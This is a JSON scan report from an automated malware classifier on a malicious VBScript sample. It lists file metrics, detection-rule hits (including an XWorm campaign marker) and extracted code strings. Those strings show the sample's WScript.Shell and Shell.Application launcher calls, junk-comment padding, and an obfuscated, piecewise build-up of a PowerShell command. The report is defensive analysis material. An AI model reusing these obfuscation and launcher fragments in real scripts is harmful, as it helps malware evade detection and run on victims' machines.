{ "ml": { "v": "5", "fs": [ { "id": 0, "prob": 0.8911781907081604, "class": 0, "threshold": 0.9987763166427612 } ], "prob": 0.8911782, "class": 0, "level": 3, "models": [ { "m": "az", "prob": 0.8911782, "class": 0 }, { "m": "az/vbs", "prob": 0.0, "class": 0 } ], "version": "v17.17", "threshold": 0.9987763, "analyzed_at": "2026-05-31T15:45:18Z" }, "path": "5fcfdf0e241a0347f9ff9caa897649e7fe8f25757b39c61afddbe288202696d5.vbs", "raw": { "v": "5", "fs": [ { "f": "H₂(Os₂Po)Md", "x": 4, "ff": { "m": { "file": { "size": 171401.0, "entropy": 5.28, "size_bytes": 171401.0 }, "text": { "tab_count": 9.0, "digit_ratio": 0.05, "space_count": 16311.0, "total_lines": 2589.0, "char_entropy": 5.28, "unique_chars": 90.0, "lines_over_200": 9.0, "avg_line_length": 64.2, "max_line_length": 226.0, "empty_line_ratio": 0.03, "last_line_length": 29.0, "whitespace_ratio": 0.13, "most_common_ratio": 0.09, "line_length_stddev": 46.07, "repeated_char_sequences": 1.0, "most_common_char_is_null": 0.0, "max_inline_whitespace_run": 2.0, "trailing_whitespace_lines": 6.0, "most_common_char_codepoint": 101.0 } }, "s": [ [ 2, "u8", "Cicisbeian = \"Wscript.Shell\"" ], [ 36, "u8", "Afsoningengaardmanden = String(18,\"P\")" ], [ 79, "u8", "'groundhog Caracoled147 Adelskronens Fetaosten126" ], [ 130, "u8", "set Baptistery = CreateObject(Cicisbeian)" ], [ 175, "u8", "'Skolemanden Xenophobia Novice Tvttedes Shinende Konform Keweenawite Omnibus Tatoveringernes Goop Gldende" ], [ 282, "u8", "Set birdiein = CreateObject(\"Shell.Application\")" ], [ 334, "u8", "'Ascii Maumet kundegrupper Bredsides Fuskendes Syttenere Smittefarers Piratplade Balletdansers Slangebiddene Angrebsmaaden42" ], [ 460, "u8", "Set ObjExec = Baptistery.Exec(\"ipconfig /flushdns\")" ], [ 513, "u8", "'Argon Smearier Familires Swerveless Pegende Scatteringly Klargrelse102 Skriveprocessen" ], [ 602, "u8", "'Vaabensalgene Slanty Vsentlighedskriterier Brnepdagogernes Antisialic Tilette Abanet Unexhilarating Jernbanesporenes Surrogacie" ], [ 807, "u8", "strFromProc = ObjExec.StdOut.ReadLine()" ], [ 848, "u8", "'Sportful Hjemby Unsheathed" ], [ 877, "u8", "'Skriftsprogs Nubredes Topographical Winner Spurtleblade73 Smoos43 troubadourist Champignongartnerier Bgeskov Lysebrunes54 Unpro" ], [ 1025, "u8", "'Wonderfuller85 Comicry Dagdrmmene Homoeotel170 Krydsfelter Paalbne Rides Spandauere Afkrvende Sukkerroer Outblotted Posthume Es" ], [ 1178, "u8", "'Hexachord Undertrykkers Ngendanserinder Uforsigtiges" ], [ 1233, "u8", "'counteraggressions Elinstallatrerne Arbejdsbyrdens" ], [ 1293, "u8", "'Monaster Biotopen Nonedibleness Sprogfring Absolutistically Ricey Omstning" ], [ 1372, "u8", "'Gratulating Oprydde Transportflys Bllehatten Ansgningers Decimalbrks Ancyrene Tropesygdommens Sultedds Doublethought Skyline Wh" ], [ 1547, "u8", "Tinnen223 = \"Levetider Sknserklringernes Respektfuldeste Forstokkede\"" ], [ 1618, "u8", "Korrekthedernes = \"Toreutics Smuglerens Depolarizers\"" ], [ 1673, "u8", "Mischoice = -27088" ], [ 1693, "u8", "venerabel = \u0026H1070" ], [ 1713, "u8", "Brnehavelrerinden = -29012" ], [ 1741, "u8", "Washmaid92 = -16077" ], [ 1762, "u8", "Incurvous = 25337" ], [ 1781, "u8", "Velopment = 8949" ], [ 1799, "u8", "Forskrkkelsernes47 = -46506" ], [ 1828, "u8", "Hjerterkngte = -17458" ], [ 1851, "u8", "Asocialiteten = \u0026HC406" ], [ 1875, "u8", "Suverniteten = \u0026HFFFF8E2D" ], [ 1902, "u8", "Persianers = \u0026HFFFF8397" ], [ 1927, "u8", "Mzee = \u0026H43DB" ], [ 1942, "u8", "Henrivendes = 32229" ], [ 1963, "u8", "Euphenic = \"Hovederne Skadesls\"" ], [ 1996, "u8", "bevaagen = \u0026H79C4" ], [ 2015, "u8", "Telefonabonnementets = \"Svagbrn Dewless\"" ], [ 2057, "u8", "nauset = -13471" ], [ 2074, "u8", "Blethe = \"Restroom Afkriminaliser\"" ], [ 2110, "u8", "Lirendes = \u0026HFFFF0A7D" ], [ 2133, "u8", "Chev = -44511" ], [ 2148, "u8", "Epacris = \u0026HEE0E" ], [ 2166, "u8", "Torntaps0 = \"Johnsonism Sonships Fejekoste\"" ], [ 2211, "u8", "Noncandidates21 = 38143" ], [ 2236, "u8", "separatkabinettets = \u0026HFFFF299D" ], [ 2269, "u8", "Mangler = 62426" ], [ 2286, "u8", "Udvalgenes = -7836" ], [ 2306, "u8", "Gruppearbejdet = 18158" ], [ 2330, "u8", "Ubangi = \"Shuttled Interbanded\"" ], [ 2363, "u8", "Refrainer = -45056" ], [ 2383, "u8", "Kibbutz = -22889" ], [ 2401, "u8", "boligrenten = -30512" ], [ 2423, "u8", "Flerier = \u0026HFFFFF601" ], [ 2445, "u8", "Viderefrt = \u0026HFFFFA8C5" ], [ 2469, "u8", "Materes = 4115" ], [ 2485, "u8", "aktivitetsplaner = \"Konservatoriets materialhandler Raserierne Forbehandlet\"" ], [ 2563, "u8", "Assisterede = \"Undamaged Skraaningen Eavesdrip Udtrdelser\"" ], [ 2623, "u8", "Gammastraaling = 37654" ], [ 2647, "u8", "Fuldfrendes = \"Katharine Holbaek Hypohidrosis\"" ], [ 2695, "u8", "Afdelingslge239 = \"Casinoerne Gemmate Monocellular sstjernes\"" ], [ 2758, "u8", "Stevs = \u0026HFFFF48F0" ], [ 2778, "u8", "Sebesten183 = \u0026HAF0E" ], [ 2800, "u8", "Paadrog = \u0026HA2B6" ], [ 2818, "u8", "Oby = \"Viceless Unhearse11\"" ], [ 2847, "u8", "tilslutningsafgift = \"Colossochelys Sarcophagous Rithas\"" ], [ 2905, "u8", "kankrej = \u0026HFFFF96DF" ], [ 2927, "u8", "lftelsens = \u0026HFFFFAF5F" ], [ 2951, "u8", "Sleepier = \u0026HF4C8" ], [ 2970, "u8", "Sammenbruds = -41736" ], [ 2992, "u8", "Nobelpriser = 4964" ], [ 3012, "u8", "Leonis = \"Unriddled Legemliggjort Unamplified snderlemmedes\"" ], [ 3074, "u8", "Overgot = -55301" ], [ 3092, "u8", "navnefringernes = \"Srbeskattede Findende\"" ], [ 3135, "u8", "cricke = \"Extempore Plenarmderne221 Vanskeliggjorde\"" ], [ 3189, "u8", "Fejlfindingerne = \"Gem Countlessness Hoosierdom Vesicularly\"" ], [ 3251, "u8", "Manipuleringen = -38737" ], [ 3276, "u8", "Mortensaftnernes = \"Vokstavlernes Skildpaddeskallernes Metaphys Udviklingstendensernes\"" ], [ 3365, "u8", "Montagnac = \u0026H447B" ], [ 3385, "u8", "Staalanden = \u0026HFFFF3E34" ], [ 3410, "u8", "Hjemsend = \"Punch157 Hippocras\"" ], [ 3443, "u8", "Boardinghouse = \u0026HFFFFFEF1" ], [ 3471, "u8", "Lastendes = \u0026HFFFF8573" ], [ 3495, "u8", "Ldermachetters = \"Braless232 Recensrrr plapre\"" ], [ 3543, "u8", "Schellingism = -50933" ], [ 3566, "u8", "sameksistapr = \u0026HFFFF94CF" ], [ 3593, "u8", "Chaya = \u0026H4B6D" ], [ 3609, "u8", "Equinity = 24323" ], [ 3627, "u8", "family = \"Nonconferrable filharmonikeren Zonitid Ill\"" ], [ 3682, "u8", "fljdres = \"Cahow Lippincott\"" ], [ 3712, "u8", "Particularism = \"Ineffaceability skrumpenyres\"" ], [ 3760, "u8", "Sammenstningsleddenes = \u0026H861C" ], [ 3792, "u8", "Sjappets = \"Adoptionsnvn169 Parthaverens Moneyless Sikkerhedsforanstaltninger\"" ], [ 3872, "u8", "Mniotiltidae = \"Evolutionisters Trettenaarsdagens\"" ], [ 3924, "u8", "Mlket = \u0026HFFFFE755" ], [ 3944, "u8", "Cinematographic = 6224" ], [ 3968, "u8", "Alabasterkrukkernes5 = 26081" ], [ 3998, "u8", "Totalers = \u0026HFFFF8E0C" ], [ 4021, "u8", "Kapellmeister = \"Desize Oligosite Museum\"" ], [ 4064, "u8", "Uforsvarligere = -4538" ], [ 4088, "u8", "Fakturabelb = \"Eludes Udtvringernes\"" ], [ 4126, "u8", "Transportuheldet = 57471" ], [ 4152, "u8", "Prydens = \u0026H7880" ], [ 4170, "u8", "Flagdagen = \"Outhowling Inculcatory Offentlighedslovgivning206 Kunstgdningsfabriks189\"" ], [ 4258, "u8", "Amidoxime = \"Cheating Telephoner\"" ], [ 4293, "u8", "Fordrejelse = \u0026HFFFFA595" ], [ 4319, "u8", "Underward = -51597" ], [ 4339, "u8", "Glumales = \"Moistishness Leishmanic51 Enrichment Unordinal\"" ], [ 4400, "u8", "Glaseringers = \"Moratoriernes Informationsbehandlingernes Devil\"" ], [ 4466, "u8", "Electrodiagnosis = \"Kok Smedet Risikables\"" ], [ 4510, "u8", "Specifiserer = \u0026H6F61" ], [ 4533, "u8", "Penpusher = \u0026HFFFFA0CD" ], [ 4557, "u8", "Lejeboligernes = -10485" ], [ 4582, "u8", "Crowkeeper = \u0026HB886" ], [ 4603, "u8", "Hopoff = -30022" ], [ 4620, "u8", "Lsestoffene = \u0026HFFFF6809" ], [ 4646, "u8", "Degusting = \u0026HFFFF9654" ], [ 4670, "u8", "Sardinsk = 45118" ], [ 4688, "u8", "familiarised = \"Gsteoptrde Garnisonnnr\"" ], [ 4729, "u8", "Embryotega = \u0026HD31C" ], [ 4750, "u8", "Imitatorers = \"Lysstyrkernes Fulgidity\"" ], [ 4791, "u8", "Uniguttulate128 = \u0026H6E15" ], [ 4817, "u8", "philomath = -2420" ], [ 4836, "u8", "Abdias = \"Grundspekulation gales\"" ], [ 4871, "u8", "Landmark = \u0026HFFFFF109" ], [ 4894, "u8", "Snorkelydenes = \"Wearily Raakolde\"" ], [ 4930, "u8", "Preelectric = 22161" ], [ 4951, "u8", "Dippene = \"Hoben Flakkedes Dispersonate\"" ], [ 4993, "u8", "Uroliges = -46420" ], [ 5012, "u8", "Photographically = \"Skrivebordsteori198 Trappestige Uplands253\"" ], [ 5077, "u8", "Settees = \"Smalbenets Heins\"" ], [ 5107, "u8", "Toldkamrene = \u0026HFFFF721C" ], [ 5133, "u8", "Slvrvene = \"Troke Spiritualistically47 Tombolaerne Chymosin153\"" ], [ 5198, "u8", "Retslgerne = \u0026HFFFF4116" ], [ 5223, "u8", "Besiddelseslses = \u0026HFFFFF47F" ], [ 5253, "u8", "Byrdefordelingens = \"shikimic Erythremia\"" ], [ 5296, "u8", "Spiritust = \u0026HB11F" ], [ 5316, "u8", "Nonsymmetries = 31026" ], [ 5339, "u8", "Contrade = 55582" ], [ 5357, "u8", "Slvtjsskabet86 = 33655" ], [ 5381, "u8", "Rebuilding = \"Protheses Reformbevgelsens\"" ], [ 5424, "u8", "Dalre = \"Aksiales77 accepttilstand\"" ], [ 5461, "u8", "Softfonte = \u0026HC2F4" ], [ 5481, "u8", "Sotweed = \"Intraclass Cigarmagerens tetracolic Decolonizing\"" ], [ 5543, "u8", "Lukreres = \"Nobelprismodtagere Defloreringer Bermmelsen Magnetbrere107\"" ], [ 5616, "u8", "Biarticulated = \"Lecroy Sldningernes96\"" ], [ 5657, "u8", "Tamps = \u0026HA69F" ], [ 5673, "u8", "Balkingly238 = \u0026H9519" ], [ 5696, "u8", "Folkemordet = \"Ggede Sniffiest Unhectic\"" ], [ 5738, "u8", "Musklike = \"Driftssikker Kronraget Rapeoil\"" ], [ 5783, "u8", "aksecylinders = \"Computerdesignet Ankylopodia\"" ], [ 5831, "u8", "destour = \"Omkldningens Aandsnrvrende\"" ], [ 5871, "u8", "Fangeflugter = -6461" ], [ 5893, "u8", "Slskind = \"Karyochrome Separatorers Raakaffer\"" ], [ 5941, "u8", "Oksernes116 = \"Trllemrker Nitratens Overvrende167\"" ], [ 5993, "u8", "Brorsnnerne = \"Syvsovere deteriorism Armbevgelsernes Unpresumptuousness\"" ], [ 6067, "u8", "Tekstilblegerierne = \u0026HFFFF5401" ], [ 6100, "u8", "Residensstads = \"Pessimist musikanter\"" ], [ 6140, "u8", "Ankermandens158 = \u0026HB9B" ], [ 6165, "u8", "Bluesier = \u0026HEA42" ], [ 6184, "u8", "Handelsomkostning18 = \u0026H26F8" ], [ 6214, "u8", "Deskill = 15967" ], [ 6231, "u8", "Pelvisternal = \u0026HFFFF98A5" ], [ 6258, "u8", "Raadeliges = \u0026HE2D5" ], [ 6279, "u8", "Sukret = -47106" ], [ 6296, "u8", "Komponentlister = 41736" ], [ 6321, "u8", "Covisitor = 50773" ], [ 6340, "u8", "extinctive = \u0026H2D5A" ], [ 6361, "u8", "Skakspillere125 = \u0026HFFFFE490" ], [ 6391, "u8", "Randje = \u0026H1928" ], [ 6408, "u8", "Henstandsordningens = -57311" ], [ 6438, "u8", "Massimos = -62603" ], [ 6457, "u8", "Koshare = \u0026HD57C" ], [ 6475, "u8", "Katarine194 = \u0026HFFFF6F35" ], [ 6501, "u8", "Andagts = \u0026H2B76" ], [ 6519, "u8", "Bortvisende = -19356" ], [ 6541, "u8", "Ulk = \u0026HBC7D" ], [ 6555, "u8", "Melongrower = -8813" ], [ 6576, "u8", "Kissejavet = \u0026HCF7C" ], [ 6597, "u8", "Sekslberes = \u0026HFFFF3648" ], [ 6622, "u8", "Predetest = \"Exerciser Decoupling corinnes bestsellere\"" ], [ 6679, "u8", "Redirigeres = 51031" ], [ 6700, "u8", "Enkeltbillets70 = \u0026H5218" ], [ 6726, "u8", "Longs = \"Xerophilous Vagueness Udsvejfede Pipe\"" ], [ 6775, "u8", "Pursiest = 37934" ], [ 6793, "u8", "Fugerne133 = \u0026HF7C0" ], [ 6814, "u8", "Aflgningen = \u0026HA392" ], [ 6835, "u8", "Fessing = \"isomeride Sacroischiadic Tibbu36\"" ], [ 6881, "u8", "Somedays = \u0026HA978" ], [ 6900, "u8", "Skolemestres = \"Overmodestly engangsemballagerne\"" ], [ 6951, "u8", "britt = \"Delustrant Englandsrejses52\"" ], [ 6990, "u8", "laaset = \u0026HFFFF71B1" ], [ 7011, "u8", "Plantevksterne = 19135" ], [ 7035, "u8", "Damptromle = \"Catarrh Folletto Optagningernes fjerneste\"" ], [ 7093, "u8", "Pavestole41 = \"Dikaryophase Undernsong Paraselene\"" ], [ 7145, "u8", "Trstedes = \"Udviklingsafdelingers47 Kulegrav Mandarinate Blacksmiths\"" ], [ 7216, "u8", "Tilfaelde233 = 61409" ], [ 7238, "u8", "Solrigere = \u0026HFFFF53CB" ], [ 7262, "u8", "chokoladeovertrks = \u0026HFD91" ], [ 7290, "u8", "faglrers = \u0026HFFFF39B0" ], [ 7313, "u8", "Buttede = \"Unprofundity Gruiformes\"" ], [ 7350, "u8", "Kabalekortene = \u0026H6933" ], [ 7374, "u8", "livsforsikredes = \u0026HFFFF930B" ], [ 7404, "u8", "Taxy = -18572" ], [ 7419, "u8", "Ist = -2354" ], [ 7432, "u8", "morphinisation = -51205" ], [ 7457, "u8", "Sendes = -5490" ], [ 7473, "u8", "Saucerize = \"schenkelvigningernes Hjforrderi14\"" ], [ 7522, "u8", "Epigoneris = -45102" ], [ 7543, "u8", "Swarthy = \"Cellarmen Reoperation\"" ], [ 7578, "u8", "Ewhow = \"Tyendet Fjernvarmecentralens\"" ], [ 7618, "u8", "Kranie = \"Maaleangivelser Skraasejl Regnskabsaar Eksperimenteren\"" ], [ 7685, "u8", "Smugkros = \"Wigwamernes Karriges Antianarchic Tungemaalet\"" ], [ 7745, "u8", "Dicacodyl = \u0026HFFFF64E2" ], [ 7769, "u8", "Maalegrej = \u0026H2ECD" ], [ 7789, "u8", "Buybacks = -10929" ], [ 7808, "u8", "Antibusiness = -17011" ], [ 7831, "u8", "Poetisk = \"Rdtjrne Nonmilitary Preremorse Varietneerne\"" ], [ 7832, "xor", "* 1,6.exeg" ], [ 7888, "u8", "Blgekams = \"Trindelingens Ordindholdet Overcirculate\"" ], [ 7943, "u8", "Animates = -58175" ], [ 7962, "u8", "Set ObjExec = Baptistery.Exec(\"cmd /k echo ____________shell\")" ], [ 8028, "u8", "'Christine Balsamed supersonics Flyvemaskinerne Tilfrselsvejes Forstukken54 Opdateringsdisketter" ], [ 8167, "u8", "'Dukkevognes Ferskvareterminalernes Ably Bedste Walisisk Ballistocardiogram Besjledes Ouvrier Kopagmiut2 Mukade" ], [ 8282, "u8", "'Madams Brahms Katapulter Texturally" ], [ 8320, "u8", "strFromProc=mid(strFromProc,13, 5)" ], [ 8356, "u8", "'Hidsige66 Taifun Forlain superexpectation Sekulariseringen Skunks Svingefeber Transportkontoret obducere Fuldbyrdedes" ], [ 8481, "u8", "'Linus Caulking Bedrog" ], [ 8505, "u8", "'Syresalt Censormders Skrbugstilfldenes Furriest Sygemeldingernes" ], [ 8576, "u8", "'Ghoulie Agrikulturer Drums Albuestds113 Bitmnstre Administrationssystemer Dishellenize197 Leeboard253 Bialystoker Guldbrylluppe" ], [ 8748, "u8", "'Revolving Staphylinoidea18 Produktivitets Plethoretical unsubmissiveness" ], [ 8823, "u8", "Declaimun = \"power\" \u0026 strFromProc" ], [ 8861, "u8", "'Udlgsforretninger oinochoi Magnetiseringer Pseudoevangelically Underly Tatovrs Potks Efterlnnen Ddboldsituations" ], [ 8976, "u8", "'Frergruppers Sikkerhedsforvaredes Overiodize Forespeaking Serjeantry Skrmbrts Indtrngninger Amtoft Regissrernes Joint Enterpris" ], [ 9123, "u8", "'Luerne Fremlgges Reproffer" ], [ 9152, "u8", "pa0 = pa0 + \"$Parrotb = Nugacities4\"" ], [ 9190, "u8", "'Kuttaur Aflsningens Bispehuernes" ], [ 9225, "u8", "'Alpinismens Awry Yurucari" ], [ 9253, "u8", "'Indsuges Retromaxillary Afskedes Lnpause Rooser yearly Milliradian Premonopolizes Ankermanden" ], [ 9349, "u8", "'miljoeet Cystophore plumagery Frihjulsnavenes Intellectible Japanologist Nbs" ], [ 9428, "u8", "pa0 = pa0 + \"Nugacities4Nugacities4O\"" ], [ 9467, "u8", "pa0 = pa0 + \"pF Su GnCic Tt FiTuop\"" ], [ 9504, "u8", "pa0 = pa0 + \"enKj Ens saCemOulHae\"" ], [ 9540, "u8", "'lobsterproof Pilots kickstarten Seether Natte Ugandiskes Bransles Alvorsmndene Alcazar Chyazic Unhealthsome Lillebitte Outsins" ], [ 9669, "u8", "pa0 = pa0 + \"GuvTue P0 U2 S F{ D S\"" ], [ 9708, "u8", "'Ungirding Loppiest Bartholemeus" ], [ 9742, "u8", "'Discountpriser Forrevnes Perceptual Centipedal36 Albylens Rewaxed Hjemlaaner Barkassen" ], [ 9831, "u8", "'Ridiculously Pegboard Rejfningers Tissets66 Openability Cuckoopintle" ], [ 9902, "u8", "pa0 = pa0 + \" L D FapOra FrSeaP\"" ], [ 9938, "u8", "pa0 = pa0 + \"em E(Sa[ThS Tt FrAli S\"" ], [ 9976, "u8", "'Burnoose Atrofieringer" ], [ 10001, "u8", "'Spraydaaser Brammende Fortndings5 Ateleological Feudales Feminineness Plasticlomme Sandblsning Lawyery Trossamfunds Pavans" ], [ 10162, "u8", "pa0 = pa0 + \" TtPrrPoa I5Da3 B)Se; W\tr\"" ], [ 10203, "u8", "pa0 = pa0 + \"a`$ PhRee NtVie KrMooLe\"" ], [ 10279, "u8", "'Wenchless Sonedes Velholdte Fstninger Fertiliserer Chargfaires Drowners Leonardesque Tvanglses Raager Unmantled Drivvaades rebu" ], [ 10412, "u8", "pa0 = pa0 + \"WEvrIni Bt AeSk-DeHUuo\"" ], [ 10450, "u8", "'Nedlades12 kondiens aalndings Filmguide Escarped kommuneskolernes Pyknisk Domino Shinguard Overnoble Cablecast Uddataargumenter" ], [ 10581, "u8", "pa0 = pa0 + \" SsPitBa ja`$Meh VeU\"" ] ], "v": { "file.stem": "5fcfdf0e241a0347f9ff9caa897649e7fe8f25757b39c61afddbe288202696d5", "file.basename": "5fcfdf0e241a0347f9ff9caa897649e7fe8f25757b39c61afddbe288202696d5.vbs" }, "id": "vbs" }, "id": 0, "sz": 171401, "ts": [ { "c": 0.30000001192092896, "d": "secret keyword", "e": [ "secret" ], "i": "micro-behaviors/data/text/keywords/lexicon::secret", "l": 1 }, { "a": "T1071.001", "c": 0.4000000059604645, "d": "Generic cmd/command/result field word fragment", "e": [ "cmd" ], "i": "objectives/command-and-control/beacon/network/json::result-command-word", "l": 1, "m": "B0030" }, { "d": "password keyword", "e": [ "password" ], "i": "micro-behaviors/data/text/keywords/lexicon::password", "l": 1 }, { "c": 0.4000000059604645, "d": ".Exec method call", "e": [ ".Exec(" ], "i": "objectives/execution/interpreter/scripting/host::exec-method", "l": 3 }, { "c": 0.800000011920929, "d": "Instantiates WScript.Shell object", "e": [ "Wscript.Shell" ], "i": "micro-behaviors/os/wsh/file::wscript-shell-object", "l": 3 }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 2589.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "a": "T1110.001", "c": 0.4000000059604645, "d": "Weak password master", "e": [ "master" ], "i": "objectives/lateral-movement/brute-force/password::weak-pass-master", "l": 1, "m": "E1110" }, { "a": "T1585", "c": 1.0, "d": "XWorm Superiority campaign string", "e": [ "Superiority" ], "i": "well-known/malware/rat/xworm::xworm-superiority-campaign", "l": 1 }, { "c": 0.8500000238418579, "d": "Shell.Application ProgID string", "e": [ "Shell.Application" ], "i": "micro-behaviors/os/com/object::shell-application-progid", "l": 3 }, { "c": 0.6000000238418579, "d": "Base64-encoded HTTP protocol fragment", "e": [ "aHR0cDovL" ], "i": "objectives/exfiltration/oob/endpoint::http-b64", "l": 1 }, { "c": 0.8799999952316284, "d": "Shell or CreateObject invocation", "e": [ "Wscript.Shell" ], "i": "micro-behaviors/process/create/macro/office::shell-or-createobject-call", "l": 3 }, { "c": 0.8999999761581421, "d": "Encoded payload detected: base64", "e": [ ".digicert.com/DigiCertTrustedG4RS \u003cbase64\u003e", "giCert Trusted G4 RSA4096 SHA256 \u003cbase64\u003e", "igicert.com/DigiCertAssuredIDRoot \u003cbase64\u003e", "rt.com/DigiCertAssuredIDRootCA.cr \u003cbase64\u003e", "igiCertTrustedG4RSA4096SHA256Time \u003cbase64\u003e", "4 RSA4096 SHA256 TimeStamping CA0 \u003cbase64\u003e", "\u003cbinary data\u003e \u003cbase64\u003e" ], "i": "metadata/encoded-payload/base64", "l": 3, "el": [ "offset:163514", "offset:164914", "offset:169282", "offset:169170", "offset:163290", "offset:161778", "offset:157354" ] } ], "sha": "5fcfdf0e241a0347f9ff9caa897649e7fe8f25757b39c61afddbe288202696d5", "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/2023-03/5fcfdf0e241a0347f9ff9caa897649e7fe8f25757b39c61afddbe288202696d5.vbs", "type": "vbs" } ], "tv": "176d6" } }